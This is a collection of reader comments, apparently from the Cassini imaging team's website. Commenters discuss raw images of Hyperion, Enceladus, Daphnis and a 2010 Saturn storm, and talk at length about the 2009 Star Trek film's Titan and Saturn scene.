Yes I agree, Hyperion is very curious. One idea is that the deep fluted craters are due to normal craters being deepened by the dak dusty floors absorbing what little sunlight is out here & 'burning' a deeper hole, giving Hyperion the peculiar sponge like appearance. Also Hyperion is the least dense 'solid' body at only 0.55 Gcm3, just over half that of solid H2O ice, suggesting that Hyperion is an icy rubble pile held together by gravity. Certainly sopme asteroids are like this, main belt asteroid 253 Mathilde certainly so, rather carbonaceous materials rather than ice, the Mars moon Phobos (possibly Deimos too) & the Jupiter moon Amalthea. Phoebe appears coherent as does the main belt asteroid 21 Lutetia, so not all 'small' bodies are rubble piles, but Hyperion almost certainly is. Whether or not Hyperion is a captured comet is open to question, where as Phoebe most certainly is. Shame we cannot get another close pass of Phoebe, but I think we will see Hyperion again with Cassini.

Hi Carolyn,

Do we know when yeaterday's Rhea imagery will be avaliable? Hope Cassini has not gone into safing.

Andrew Brown.
lsludwig1      
01-11-2011  16:38:25

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I've been looking at enlargements of Hyperion images and finally realize what it is that makes it look so different to me from other moons. It reminds me of what a close-up of a lump of slightly eroded coral looks like: the larger crater being the polyp cores. The other imagery is that of worm pumice stone: the larger craters like the surface bubbles. What all three might have in common is a lightness and porosity.

The other oddity is that craters are of three distinct sizes: the obvious large craters; craters about a tenth the size and then very very small craters. And between all of these craters is a very soft surface void of any large craters like it was dusted over with snow. This would imply to me that Hyperion either has been subject to different conditions in space (was it a comet?)or its own unique geology, as Enceladus has its own unique geology.

Enceladus Rev 142 Raw Preview
Breitstar      
01-10-2011  20:43:48

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It's been a while since visiting the crystal cannons. I still sit and stare at the screen with my mouth open in wonderment. So beautiful and inspiring.
stowaway      
12-24-2010  15:24:26

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I actually had a dream about Enceladus just a couple of nights ago. It seems a mysterious "sonic resonance" was detected by observers on Earth as well as by the team at the outpost on Enceladus. Yes, they heard it too!
libbydaddy      
12-21-2010  16:44:17

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These are amazing. Stunningly beautiful even in their raw state. These images make me want to go visit this moon; see it up close. God's creation truly is magnificent, with even cold, distant moons singing His praises. I don't think there is one moon in Saturns entire system that hasn't grabbed by attention by the collars and shook me up. Magnificent.

The force of these jets must cause serious havoc with the orbit and rotation of this moon.

Saturn Storm Rev 142 Raw Preview
brainiac9129      
01-09-2011  15:37:58

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I know this is an obvious thought, but it's amazing to imagine Kepler, Huygens and Galileo (not forgetting Cassini himself), just to name a few, watching images like these.
Now it's time to wait for the analysis :)
Many thanks to the team.
stowaway      
12-28-2010  21:15:25

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I'm not an expert on these things so listen close cuz I'm going to give you the true scoop on this. Saturn has burped. I've heard that deep down inside Jupiter there is some stuff called "metallic hydrogen". Can you imagine what that would be like? Well, neither can I, so that's proof enough for me.
Rich777      
12-28-2010  09:27:28

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The impact on jupiter showed a more pronounced shape because the fragments of comet hit the upper layers of Jupiter's atmosphere. The 'cloud' of debris didn't resemble this picture because the winds of Jupiter didn't sweep the debris cloud as the winds of Saturn are sweeping this 'storm'. Could it be a belch from Saturn's innards rather than an actual storm?
drakie      
12-28-2010  07:46:10

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It looks more like a volcanic eruption to me.
The cloud remains at the same spot at least it seems to be.
The equatorials wind does make a trail from these ashes like on the linked pic below of an earth volcanic eruption

http://2.bp.blogspot.com/_q3hoJdQJBYw/SHmroVql_9I/AAAAAAAAAt8/msDB_5APVzo/s1600-h/Ash+cloud.jpg
dholmes      
12-28-2010  05:28:49

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I disagree with the impact theory. Compare the Shoemaker-Levi 9 (21) fragments impact photos that hit Jupiter back in July of 94 then look at what is clearly a monster storm on Saturn. The shape of the impacts on Jupiter were more defined and rounded not like what we see here. Of course I defer to greater minds on this site than mine, but for now that's what I surmise.
georgfischer      
12-28-2010  03:17:09

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I have to speak against those speculations of an impact. This storm started in early December, and the lightning bolts in it were clearly detected by the Cassini radio instrument RPWS. Several amateurs have imaged the storm which grew in size over the last 3 weeks as can be checked out at http://www.pvol.ehu.es/ (click on images on the top and then on Saturn images on the left).
PiperPilot      
12-28-2010  00:29:43

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I have to agree with the impact theory. I picture it as entering from the top and disintegrating at the bottom. The trail being perturbed by the atmosphere much as a vapor trail is here on earth. But then, preview #2, does have a slight appearance of what could be considered an eye similar to a hurricane. I have thrown out the failed missile launch theory! Goodness, I wish we knew everything, so we wouldnt have to do all this supposing.
graurog      
12-27-2010  21:27:31

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As an old, old old aviator that doesn't look like a storm pattern, which would be counter-clockwise and the energy would be going toward the center of the storm. This more resembles an impact with the debris being deposired toward the outside of the rotation i/e clockwise. I love it even I'm wrong. RonG
JimRinX      
12-27-2010  21:08:58

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redmoon! Haven't you HEARD? The 'Monolith' has been moved to Mars' Moon Phobos!
http://www.mactonnies.com/imperative40.html
If you look long enough, you'll find the doctored images - the ones where they've photoshoped it into what they want to see: a big white version of the 2001: A Space Odessey black monolithe.
No worries though: those geysers on Enceladus are powered by the (engines idling) starship that our Alien Pals buried there for us!
Didn't know that, did you? It's a "conspiracy", you see.....
stowaway      
12-27-2010  18:09:53

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Open the Pod Bay doors Hal... that thing might be full of stars!
DuanePSnyder      
12-27-2010  17:29:51

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Great point and shoot, that is not easy.
rcantor      
12-27-2010  17:04:54

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Naaaa, it's a rocket launch - look how quickly it changes except at one spot :)
PiperPilot      
12-27-2010  15:44:38

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Once had a photo of the Moon similar to this. It was a liquid spill on the negative. I doubt that is what this is though. LOL :) Very unique shot. Love all the pics that keep coming back.
poihths      
12-27-2010  15:32:45

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This does phenomenon doesn't resemble the SL9 impact on Jupiter at all. The shapes and sizes are completely different.
graupma      
12-27-2010  14:55:44

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Don't think it's a storm. This item is on the outer later of the atmosphere.
Probably an asteroid, comet, etc. check it out. doesn't even look like a storm.
portercc      
12-27-2010  14:39:50

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What timing! I never dreamed we would get so much information! This has been quite an adventure!
UweZ      
12-27-2010  12:30:39

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Nice Catch !
dday76      
12-27-2010  12:30:39

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Any initial estimates on size of the funnel and the overall size with the tail
redmoon      
12-27-2010  11:43:49

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A faszinating view... When was this storm seen by amateur astronomers?

Enceladus, Tethys and Dione Rev 136 Raw Preview
wmdewease      
01-09-2011  05:59:12

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Tethys appears to be a space debris magnet.
rochelimit      
08-15-2010  12:52:14

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there's an interesting large circular cracks that goes through the big crater there on Tethys, wonder how does this form. Same formation with Mercury' carolis basin thing?

Enceladus 'Rev 142' Raw Preview #4
raketenflugplatz      
12-26-2010  03:25:32

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...has it rolled down? ;)
enceladus5      
12-21-2010  17:42:10

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Lovely shot of Enceladus and the rings!!!! Awesome!

Enceladus 'Rev 142' Raw Preview #1
carolyn      
12-23-2010  12:42:22

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Iapetus Monolith: For the answer, read my article in December 2008 edition of Sci American. (Article can be found here: http://www.ciclops.org/sci/papers.php , Look under 2008 for Porco, C. "The Restless World of Enceladus", etc..)
Iapetus Monolith      
12-21-2010  17:59:36

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What's the current thinking on why Enceladus is only spewing ice particles from fissures near the south pole? What makes this area unique?

Titan and Tethys
meneros      
12-21-2010  18:45:50

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They are wonderful planets / Oni su divni planete

Rev142
Red_dragon      
12-18-2010  06:45:07

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6(!) Enceladus flybys for 2011, but next year will be quite boring in Titanian terms; just 5 Titan flybys :(

Enceladus 'Rev 141' Raw Preview #2
Red_dragon      
12-18-2010  06:40:33

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I find difficult that being a chunk of ice or a meteorite; if you look it closely it has a kind of tail and, assuming the object has left that tail, it does not seem as if it was coming from Enceladus.

In my opinion it's just another cosmic ray hit.
NeKto      
12-09-2010  11:52:09

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John, i would say your hypothesis is possible. Large chunk of ice is more likely than an earthly atmospheric phenomonon.
i don't see enough in the image to tell me what the object in question is, but i will say it does not look like any artifact i have seen in previous images, processed or not. It sure looks like something is there.

Southern Shadows
Red_dragon      
12-18-2010  06:28:50

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Superb image with so many shadows; it's fun to see how Saturn's happiness is becoming Saturn's sadness as the shadows of the rings are moving into southern hemisphere, perhaps because this is the final (and longest) part of the mission and Saturn will miss Cassini.

How are things going in Saturn?. Have the remaining bluish hues of northen hemisphere disappeared and are beginning to appear on southern hemisphere?

Enceladus Rev 141 Raw Preview
kwgm      
12-03-2010  09:56:50

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It appears such a cold world, this 'cue ball' of Saturn's moons. Yet we see volcanic jets, their light rising kilometers into space. The Cassini probe continues to prove its worth in the identification and analysis of these ominous and fascinating globes of our Solar System.
Red_dragon      
12-02-2010  04:00:49

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Well done!. I tip my hat to you for a new succesful Enceladus flyby and Cassini back to work. Raw images are nothing less than amazing, especially the #1 that looks as Enceladus was a huge cosmic egg and something was cracking it from the inside. Keep up the good work!.
Mercury_3488      
12-02-2010  01:05:42

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Thank you Carolyn,

Will be interesting to see how the gravity profile compared to the far south. I think this will confirm the asymetric nature of the mantle & core of Enceladus.

As this is the first of a 'double header' encounter, will we get hi res imagery of the far north during the next close pass? I think it is important that we do get at least a few frames, as I think seeing this area at high resolution will help explain what has happened & perhaps why.

I still reckon we are looking at a fairly 'recent' major impact cooling off & the south polar terrain to me looks like the surface of paint hardening in a paint pot with a lost lid!!! Also perhaps the 'softened' appearance of the northern craters are due to focussing of siesmic waves, like the Weird Terrain on Mercury opposite the Caloris Basin???

Just a thought.

Great to talk to you again Carolyn. :) Hope life is treating you well.

Andrew Brown.
carolyn      
12-01-2010  16:13:59

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Andrew: The closest approach period was not dedicated to imaging, but to gravity measurements. Not sure there will be any hi res views of the north polar region.
Mercury_3488      
12-01-2010  15:07:03

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Great image. Of course south is top, west is to the right in this view. Like the shadow cutting through the base of the plumes. There is also a nice crescent view & am looking forward to the high resolution far northern hemisphere views.

This time CA was at 62 North over Enceladus, the first very close Northern Hemisphere pass. Will be interesting to see if at high resolution, the 'softened' profiles of the craters continue down in size & whether or not there are boulders, or boulders that look semi submerged in ice!!!

Andrew Brown.

Hyperion Rev 141 Raw Preview
Mercury_3488      
12-01-2010  11:05:12

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Just to say everyone, Enceladus images coming in now from yesterday.

Still like these Hyperion images though too.

Andrew Brown.
Mercury_3488      
11-30-2010  12:26:32

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Most definitely. Lovely series of Hyperion images. Hyperion has had virtually no attention in the extended missions, so it's great to see some new decent material concerning this large strange icy object.

I am sure that with this set, we have some decent observations from viewing angles not possible before, i.e in September 2005, the only really close approach.

Andrew Brown.
stowaway      
11-29-2010  13:18:43

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I'd say we're out of safe mode ;-)

Titan, Pallene, Dione and Rhea Rev 139 Raw Preview
rochelimit      
11-01-2010  09:16:30

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I think it's a coincident that it looks spherical. I don't think a small moon can be the that spherical, and considering Pallene is a shepherd moon, it probably has either a flying saucer-like shape, or an elongated egg-like shape... but i dunno
rnrnelson      
10-23-2010  14:57:57

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Why is Pallene spherical? The October 18 closest approach yet of this 4km diameter moon shows a perfect sphere. Only if it were liquid (or recently liquid) could such a small object be so spherical. Why aren't 2001/2010 Space Odessey fans clamoring fo a mission to such an obviously alien artifact?
Gene Roddenberry Meets George Lucas
TitanExplorer      
10-23-2010  12:40:52

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You dont rid a universe of evil.
Evil is natural to anything that wants to thrieve.
Le Sacre du Printemps
stowaway      
10-22-2010  20:55:02

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Cap'n Carolyn must be on shore leave after accepting her award.
NeKto      
10-02-2010  09:13:13

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Are we going to have any more log entries Captain? i thought maybe there was something in the last year worth mentioning. i, for one, have looked forward to the new log entries. after waiting for more than a year i was wondering if there was something wrong with my display.
Peace.
staceylea19      
09-29-2010  01:37:33

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some of these pictures look like these propeller things, instead of protruding, kinda look like scratches on a record. fascinating findings!

Dione Rev 137 Raw Preview
stowaway      
09-04-2010  21:47:34

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These are beautiful! Taken on September 4, 2010 and received on Earth September 4, 2010 and seen by me on September 4, 2010. I can remember when I would have had to wait a couple of months to see only one or two of these in the magazines of the time.

Daphnis Rev 134 Raw Preview
Mercury_3488      
07-17-2010  07:35:33

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Images I have worked on Daphnis http://www.space.com/common/forums/viewtopic.php?f=6&t=914&start=240#p465942

Andrew Brown.
carolyn      
07-12-2010  19:03:51

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MarkG: That would be wonderful if it did, because we predicted it should. See Porco et al, Science, 2007 at: http://www.ciclops.org/sci/papers.php
MarkG      
07-12-2010  17:37:15

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I'm suspicious that Daphnis has an accretionary "skirt" like some of the other ring moonlets, but the picture is ambiguous.
Mercury_3488      
07-07-2010  15:07:18

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Thanks enceladus5 & greece for your responses. :)

Another thing I have seen with my own enlargements of Daphnis is that Daphnis appears to have a 'large' crater, approx 2 KM wide on a 9 KM long body. Wonder if this shows that Daphnis is an icy rubble pile held together by gravity (a more solid body would shatter)???

Main Belt Asteroid 253 Mathilde has been seen to have huge deep craters & Hyperion too has deep craters & both objects have been found to have very low densities.

Reminder the ESA Rosetta Spacecraft encounters the large Main Belt Asteroid 21 Lutetia on Saturday afternoon (UTC).

Andrew Brown.
greece      
07-07-2010  10:53:29

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To see Daphnis as other than just a dot is really a big achievment. With this images we can etimate its shape and the most important: we have a high resolution image of Daphnis and its waves
enceladus5      
07-06-2010  16:26:33

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Very nice detailed images of the waves and Daphnis.Andrew is right, it is nice to see Daphnis other than an undistinguishable point of light.Awesome!!!
Mercury_3488      
07-06-2010  12:43:10

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Love these, we get to see the shape of Daphnis at long last :) Like the high res views of the rippling, but to see Daphnis as other than just a dot is really something.

Andrew Brown.

Enceladus Rev 131 Flyby Raw Preview
carolyn      
06-28-2010  18:12:21

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Mercury_3488: Way to go, Andrew! Good job explaining why the sky looks bright in this image.
Mercury_3488      
06-28-2010  13:43:14

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Hi Tish, If I recall correctly, Enceladus is back lit by the E-Ring created by Enceladus orbiting Saturn. Enceladus is also at very high phase (very narrow crescent), with the sun not far out of the frame to the left.

The image is also 'upsidedown' i.e south is top, but it is a stunner. :)

Andrew Brown.
tish      
06-27-2010  13:50:48

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June 27, 2010, I am still trying to understand this image. Why do the geysers seem to have too much depth in this shot? I believe we are looking through the plumes toward the Sun, correct? Please help with more analysis.
Fantastic!
Thanks.
-Tish

At Last ... 'Star Trek' Opens!
AlienAbducter      
04-16-2010  21:54:11

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I've always like any shows about space, one can always lose one self in them as too how the future might be like. But I guess this is all I will ever have too know or see about the unknown universe. Now that Nasa has changed course and American Astronauts will be grounded, and never be able too boldly go were no man has gone before.
enceladus5      
02-21-2010  12:45:05

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Dear Dr.Porco,
Loved the movie. The scene with the Enterprise emerging out of Titan in full view of the majestic rings was awesome. You do deserve a cameo in a potential Star Trek sequel.
From Tornado Rob
stevekasian      
01-14-2010  16:15:58

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Oh geeeezzzz... I'm so sorry! I thought I'd read that JPL had something to do with it. Well, Apologies for my foolishness!!

So Congratulations to YOU and YOU ALONE for your involvement in the making of the movie!! You obviously gave some great science advice!
carolyn      
01-14-2010  14:18:06

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stevekasian: Blasphemy!! How could you say that?! JPL had nothing to do with that movie. 'Twas I, and I alone, who was the science consultant and suggested that scene to JJ Abrams. And yes, it was awesome...I agree.
stevekasian      
01-14-2010  05:19:10

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I too love the Star Trek series, although TOS was a little hard for me to swallow. I guess I'm just too young to have appreciated it. But TNG was an obsession of mine - and made Patrick Stewart one of my all time favorite actors.

Someone commented very negatively on the whole "rewriting of history" deal, and how they hoped this movie would "soon be forgotten". I don't agree. Come on man (as Bones would say - lol) , it's the last damn Star Trek movie that's ever gonna be made Jim! The afformentioned critic has obviously not taken into account the "quantum possibilities" that exist in a world where there are 2 Spocks and the fabric of space/time can be manipulated! They could've blown up the Earth in this one and it would still be possible to bring it back somehow later on!

Congratulations to JPL and all involved in the making of the movie. I really tripped out when I saw the ship rise up out of the Titan smog. That was awsome!

Regards, and best of luck with all real-life missions, present and future!
TomMadigan      
12-24-2009  20:48:07

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correction...that would be "moot".
TomMadigan      
12-24-2009  20:32:21

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The special effects and visuals were great, especially the Enterprise/ Saturn sequence. However, growing up watching the original cast and crew, collecting all bound volumes of all the episodes, attending one or two Star Trek conventions, taking in every previous Hollywood major motion picture, I find the "rewriting of history" offensive to the memory and legacy of the original concept, to put it mildly. By destroying Vulcan in the Prequel, all future episodes, stories and plots are now mute. The Vulcan race, a race now removed retroactively, figured large in many episodes and story lines. This is not simply just another episode - it is an anomaly produced in an alternative universe. They crossed the "artistic license" line with this one and I'm not so sure Gene Roddenberry would be as gleeful as some have suggested. Some things are better left alone and to make a movie simply because you can is one thing but to do so and rewrite 50 years of history is quite another. In short, this movie was all show, no substance and (hopefully) will soon be forgotten.
shysf      
12-15-2009  14:23:37

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Sorry I mixed up the episode titles star trek copied from. It is
Star Trek Voyager's Year of Hell parts 1 and 2
20tauri      
11-30-2009  13:58:04

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Just picked up the Star Trek BluRay this past weekend. If you haven't already gotten a hold of one, you should definitely do so! On top of the film, there are tons of extras. Most relevant to this forum, our Captain appears on-screen with insightful commentary on the dawn of the space age and the importance of films like Star Trek in capturing our collective imagination. You can find Carolyn in the section on Gene Roddenberry's vision (note: the word on the street is that this only appears in the BluRay release, not the DVDs).

Incidentally, most of you know this already, but in case you missed it: Earlier this fall a couple of us put together a petition to get Carolyn a cameo in the Star Trek sequel that's in pre-production right now. Please sign it if you haven't already! It's at http://www.thepetitionsite.com/1/dr-carolyn-porco-deserves-a-star-trek-cameo
willhiggs      
07-31-2009  14:44:22

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What's this celebrity **** doing on a scientific website ?
Merry      
07-29-2009  10:43:50

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As a person that would make sure I was at home for the original series of Star Trek (no recording devices at that time of course), I was apprehensive about going to see this flick. Was scared they would miss the ideology of Star Trek and concentrate on major conflict scenes and graphics. I was so pleased when I finally decided to go. Leonard Nemoy was a complete surprise. I had no idea he was in it. Guess I should have come here but didn't, see the above reason for not seeing the movie. Anyway, just loved it!
bassplyr98      
07-05-2009  20:45:17

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I just wanted to say we love your site:) didn't see another contact for that, probably too busy looking at all the amazing movies
ALHS      
07-03-2009  17:02:44

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As an old Trekkie who loved the original, I commend the new film and am delighted by it. May the USS Enterprise and its young crew continue to boldly go into warp speed for many new adventures. I'll be looking forward to the films to come. Thank you for respecting an important and much loved genre.
20tauri      
06-25-2009  00:03:16

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With the exception of the time travel bit (which left me with way more questions than the plot answered), I thought Abrams & Co. did a great job resurrecting the series. It was about time they rejuvenated it with some young blood! And the Ice Planet scenes definitely made me smile...well done, Carolyn and CICLOPS team!
shysf      
06-23-2009  10:55:33

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Also the federation isn't supposed to know what a romulan looks like until Balence of Terror. The Romulan war was settled by subspace radio.
shysf      
06-23-2009  10:53:58

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I hated this movie! I can not stress this enough! Everything I was curious about just got deleted by time travel. What about Robert April, Christopher Pike's two missions on the Enterprise, Number One, Samuel Kirk and his family, Ruth and Finnigan, John Gill, Gary Michell, Captain Garrivick and the USS Farrigut (the cloud monster), Lt. Riley and the Kodos massacre, Janice Rand, Carol Marcus and David. Among others just deleted. This isn't Gene Roddenbury's Star trek it s Abrams.
Also the story has major holes in it. Why does the Romulan villian wait around 24 years for spock? He can go to Romulus warn his people and prepare them. Also he can give his ship for them to study and defeat the Federation.
The story is taken from Star trek Voyager's weapon ship from A few more calculations and Endgame.
The end fight scene is from a number of star trek movies. Generations for one.
Terminator was better. perhaps Serena is Sarah.
pspotts      
06-19-2009  15:10:16

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A trip to the move theater to see Star Trek today was our Mothers Day treat. We're a sci-fi movie family, and my wife (and the rest of us) desperately wanted to see the film. I thought of you immediately as I watched that shot of the Enterprise slowly rising from what I took to be Titan's smoggy atmosphere. It was stunning. As one who religiously watched the original episodes (at their original time slots!), I must say it was nice to see that the crew no longer wears cheap pajamas!
marc      
06-17-2009  15:01:23

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Maybe you can work in a Saturnian Solar eclipse in the next movie, it probably would look great in IMAX.

Other than that it was a great movie!
Thanks :)
BobbyD      
06-13-2009  22:26:06

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I loved the new Star Trek!! I think it's the BEST Trek film!!.... and I've seen it 3 times already, and might even go a few more! For some weird reason, I couldn't seem to keep my dad-gum eyes dry during all the Leonard Nimoy scenes!!!He was brilliant!! The new cast/crew will successfully fly to "where no one has gone before!!" Godspeed guys!! Carolyn!, kudos to you and the beautiful Enterprise / Saturn-Titan scenes!!The most amazing scenes are the ones from reality when it comes to the exploration of the Universe!!! Oh,by the way Carolyn, please,please, oh please put me down for a downloadable copy of a wallpaper, or file, of the Enterprise-Saturn image...just AWESOME!!!!! Thanks!!
carolyn      
06-12-2009  12:39:58

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YosemiteRob: Working the details as I write. Stay tuned ....
yosemiterob      
06-12-2009  12:16:39

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OK, when is the poster going to be released showing the Enterprise hovering above Titan in front of Saturn. Seriously, when is that going to come out.
Alan Canon      
06-12-2009  06:42:12

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Oh, I'll just gush a little more. I saw the movie *four times* in one week! I don't think I watched any of the others more than twice in theatrical release. I am a long time fan of the movies, and I have my favorites. I think this one goes at the top of the list. Of the characterizations, Karl Urban as McCoy was my favorite: "Space is disease and death, wrapped in darkness and silence." Classic!

Of course the Titan scene made me cheer, one-upping the fabu Leonov-Discovery sequences set above Io in "2010: The Year We Make Contact." I can't wait to get the DVD just to hear what Carolyn has to say about it.
Alan Canon      
06-12-2009  06:32:44

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I've seen all the Star Trek movies in the theatre (Robert Wise's excellent Star Trek: The Motion Picture was the first Trek I ever saw.) Wise imaginatively incorporated NASA's Voyager program into the plotline...and guess which Supreme Imagining Darling of us Alliance members worked on the Voyager mission?

Carolyn Porco!

Now we've come full circle, with a new "first" Star Trek movie, where not only the latest in space science informs the movie, but Carolyn, herself, to boot!

Loved the movie, and agree that Carolyn needs to be in the next one.

Jim      
06-11-2009  18:48:33

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Saw the movie a couple of weeks ago, Excellent! as a fan of the 60s series
and ONLY of the 60s series, the movie lived up to all of my expectations.
As the owner of a 1967 mustang I empathize with Harry, too bad about the corvette.
I don't wish to nitpick about accuracy either but it's 200 hundred
years into the future, where the hell are the seatbelts? I'm not here to just
comment on the movie, I also would like to petition that Carolyn, be given a
part in the next movie and with a speaking part. King Abdullah II of Jordan
had a part with lines in a " ST Next Generation" episode, the King of Jordan
does not have the cred Carolyn does. My pick for her character would be the
part of T'Pol, if not T'Pol then maybe a science officer on board a Romulan
vessel!
Artistonemark      
06-11-2009  15:40:39

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I had the pleasure to meet Gene R. when I worked for Apple Computer and it was Wonderful. Commander Riker from Star Trek the Next Generation lives near me in Maine. The New Movie was Outstanding and it was so good to hear Gene's wife as the computer voice on the Enterprise and to see Leonard Nimoy. So "Live Long and Prosper" Greetings from the United Federation of Planets.
carolyn      
06-06-2009  11:20:03

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Everyone: Here's an update about the Titan/Saturn/Enterprise scene. I spoke to JJ Abrams about it this past week. He says he's going to work on getting me a high-res frame of the scene. (JJ is VERY cool, and a really good guy.) I'll let you all know how this transpires as it unfolds.
carolyn      
06-02-2009  17:54:46

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RJacobsen: You, and others who have emailed me, and me too (!) are all eager to get a copy of the Titan/Enterprise/Saturn scene. I had inquired of Paramount about it, and they said that the still has been offered as an `exclusive' to another publication, so I couldn't get it to put on our website. I will inquire again about it. I think all Alliance members should have a giant poster of that scene. We earned it!!
RJacobsen      
06-02-2009  14:25:30

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Has anyone found a quality image or wallpaper of the Titan/Enterprise scene. I would love to have one. Could one be posted on the site?

I loved this movie! I knew my dad would too, saw it a second time with him. Awesome website!
DeeKahleb      
05-31-2009  17:37:25

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Wow! THE greatest movie ever made. It put "The Poseidon Adventure," to shame. Wait, it's no longer 1972. Wow! The greatest movie ever made.

Thank you and good night.
wcwilkin      
05-26-2009  22:40:22

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The best of the Star Trek movies (or made-for-TV episodes). This movie enters an alternate universe the old-fashioned way - time travel. It paves the way for a completely new series of stories with the original characters. Spock meets himself in the past and the universe doesn't end - Hoorah! The hypocritical, emotional Vulcans come out of their logical closet.
mikesimons      
05-26-2009  15:26:28

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Wow! We saw it on Cape Cod this weekend and it exceeded our expectations. It was both a "movie" and a "film". You couldn't miss the stunning visual! I told people sitting around me about Carolyn's role, and we stayed through the credits and we cheered when her name scrolled. They saw it before I did! My wife isn't a Trekkie, but it isn't in the least necessary. A Trekkie knows "Get your Vulcan hands off me" was in the original series, but who cares? Some scientists (I'm a CFO) may quibble with imperfect accuracy. Hey, lighten up! This isn't a documentary! Have fun. Live Long and Prosper!
dholmes      
05-21-2009  06:11:38

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I would like to add a further comment now that I have gone back and read the earlier ones. The visual relationship between Titan and Saturn are just fine. Do look at the links in Carolyn's comment and that should disabuse some of the member's over analytical proclivities. I am a GIS (Geographic Information Systems) expert with a govt. agency here in Atlanta, Ga., and ever day I go through mounds of visual data. When I first saw that shot of Titan and Saturn, no alarm bells went off, no red flags, nor anything else but a sense of pride that she had that influence on something so indemic and personal to Star Trek fans everywhere. Here's to the next adventure with maybe NCC 1701 coming up on the moon Encaladus with the new crew getting ready for their next adventure, and maybe a guest shot with the science advisor as a crew member.
dholmes      
05-21-2009  05:43:05

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I finally broke away from my un-trek wife and kids and saw the movie last night.
As a member the 1st generation of Star Trek (1960's) fans I thought they did a great job to keep the young actors in character with the original cast. Yes the future for Star Trek movies will be in the past. I could see a whole series of new adventures for the crew of the enterprise, who knows maybe they could keep going on until the new fans will look back on this movie as the beginning. I enjoyed of course as did we all Carolyn's influence with Titan and Saturn. I hope in the next Star Trek movie that her influence will continue, and put her name closer to the front of the credit listing (was still waiting until the theatre emptied until finally her name appeared). Good job.
Harry      
05-19-2009  17:38:46

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What an awesome ride! Although the sound was too high, I highly recommend the IMAX version. Cool storyline and nice twist to the further development of otherwise well known characters. I have been a lifelong fan of science fiction, but have also been critical of the ever-present mistakes in science fact. But, as I age, I am much more forgiving with the visuals and breaks with reality. A few comments (these are for fun by the way):
1. Why does breaking the light barrier make an acoustic "bang" in space?
2. If they needed a magnetic field to hide in, why were they not under the cloud deck of Jupiter?
3. I guess spaceships in the 24th century have paint and surfaces immune to the nasty chemistry of Titan. My flying saucer would need a good buffing after that.
4. Yes, Titan is too far above the ecliptic, but a really long telephoto lens from long distance would yield the apparent proximity of the rings. And what was with the hurricane force winds that caused Titan's upper atmosphere to have those waves?
5. Why was the black hole generated by the red matter 2 dimensional?
6. The "Last Star Fighter" had more realistic transitions through light speed. At least the streaks from the earlier films were gone.
7. Darwin would cringe if he saw a red spidery crab critter with no fur climbing out of a cave on an ice planet.
8. At least nobody without space suits were climbing around the outside of the ship like they did in Disney's "Black Hole".
9. What's with all the swirly lights in the Transporter scenes? This is where they need a bang or a nice "Galaxy Quest" splat!
10. Why do bad guy space ships need a lot of extraneous metal stuff? I guess Romulans have an affinity for spaceships that look like spiky cock roaches on steroids.
11. Young Spock and old Spock meeting at the end is cool. Time paradox issues avoided. Now if they had just crossed the streams in "Ghostbusters" earlier.

It would really be nice one day for a film to stay accurate with the physics except for those necessary to advance the story. PS, I want one of those floating motorcycles like the patrolman had. Too bad about that Corvette.
PipePR      
05-17-2009  10:41:50

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YES that scene holds for a couple of seconds, im absolutelly sure they did it on purpose for a wallpaper. i NEED that wallpaper PLEASEEEEEEEE. of course in High Res. cant wait for the DVD to be released and capture the image. i need the image now, really, its an emergency. please post that image
mojolim      
05-14-2009  19:16:40

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Astonishing view - the ncc1701 comes up from the haze of Titan and the giant Saturn behind. I really ask you to post that to use as a wallpaper ;-) high resolution pls :-DDDD Well done Cassini!!! Well done Ciclops Team!!! and obviously well done Cast!!! It's magic; Mr. J.J.Abrams has shuffled the deck so now a new Federation will rise . . . . Live Long and Prosper!! ops Good Luck!
Tucker M      
05-14-2009  08:21:48

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What an eye-popping, incredibly fun ride. Loved the Saturn shot - wish it could have been more!

The angle from Titan was wrong of course, no...? And the field of view was way off...but honestly, just having a real Cassini photo featured in a great sci-fi flick was more than worth it. So glad they involved you!

Although the acting and visuals were really top-notch, the real props have to go to the director and editor, who have proved themselves storytellers in Peter Jackson's class. Bravo.
carolyn      
05-12-2009  17:48:35

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Drewbot: I did in fact give an interview for the DVD but did not go into detail on the Saturn/Titan scene, since I hadn't even seen the final version yet at the time the interview was conducted. But I did get to discuss some of my favorite topics, like the `anything is possible' mindset that made the 1960s the fascinating, innovative and unsettling years that they were, and how that optimism underscored everything from the unbridled creativity we saw in the arts and music, to the painful (but hope-driven) events within the civil rights movement, to our bold and daring leap off the planet and onto the moon. And this cauldron of ideas and new signposts for the future found their way into the thinking of Stanley Kubrick (working on material from Arthur C. Clarke) in crafting 2001, and they found their way into the thinking of Gene Roddenberry in creating Star Trek.

I'll be interested to hear what people think about that interview when the DVD comes out, in the fall.
drewbot      
05-12-2009  15:18:02

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I've been following this discussion about scientific accuracy re: Titan & Saturn in Star Trek, and had a few thoughts:

(1) Poetic license plays a role in all art, including cinema. In 2001: A Space Odyssey, there's a scene in Jovian orbit where the four Galilean moons of Jupiter align with the monolith; that alignment could not have occurred in 2001. Does knowing that have any impact on the visual power of the scene?

(2) It's a minor miracle that a Hollywood director sought out the advice of an actual scientist! That doesn't always happen, as any M.D. can tell you. There is no TV show or movie that hasn't had bogus medicine in at least one episode. This movie is no exception; any M.D. could point out an instance in ST where a known drug is given to a patient and produces an effect that just doesn't happen. One TV show even referred to dihydrogen oxide as a drug - that's an odd way of saying water. In every ST, there's an episode where a few wounded people are brought into the sick bay, laid on tables with open wounds, and nobody even removes the patients' torn uniforms or cleans their wounds. My wife is an M.D., and she will never sign up for the Starfleet HMO plan.

(3) It's a Major Miracle that we live in a time where a director can ask the question: "Among all the planets and moons of our solar system, where would be a good place to hide a starship?" Think back to 1966, when ST premiered on TV. Even if he had wanted to, no director could have even asked this question; nobody knew then what we know now about the other planets and their moons. In the last 40 years, we've sent probes to every major body, and examples of every type of minor body, in our solar system.

(4) If we didn't have scientific nits to pick, what would we do for entertainment? It might be fun to have a game to see who can come up with a better reason why Titan would be a good place to hide a starship, or a game of "Where would YOU hide a starship in our solar system"?

(5) Hopefully, the extended version on DVD will include an extra feature wherein the Saturn scene is discussed by one or more planetary scientists. Anyone want to start a campaign to make it so? Dr. Porco, has there been any talk about including a scientific talk about Saturn by you on the DVD? Is that a bug you could plant in someone's ear? After all, one of the previous ST movies had a long - and fascinating - lecture by a linguist about how the Klingon language is structured. And one of the Futurama boxed sets has a feature about breaking the codes of the alien languages that appear in the background shots.
Dave Gallagher      
05-12-2009  14:37:06

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The Enterprise rising from Titan in front of Saturn and her rings in all their glory gave me goosebumps. Even though I was expecting it (based on spoilers here and elsewhere), it still took my breath away. If you have to sell your first born to afford an IMAX ticket for this film, do so. Mine understood.
dschlom      
05-12-2009  14:25:25

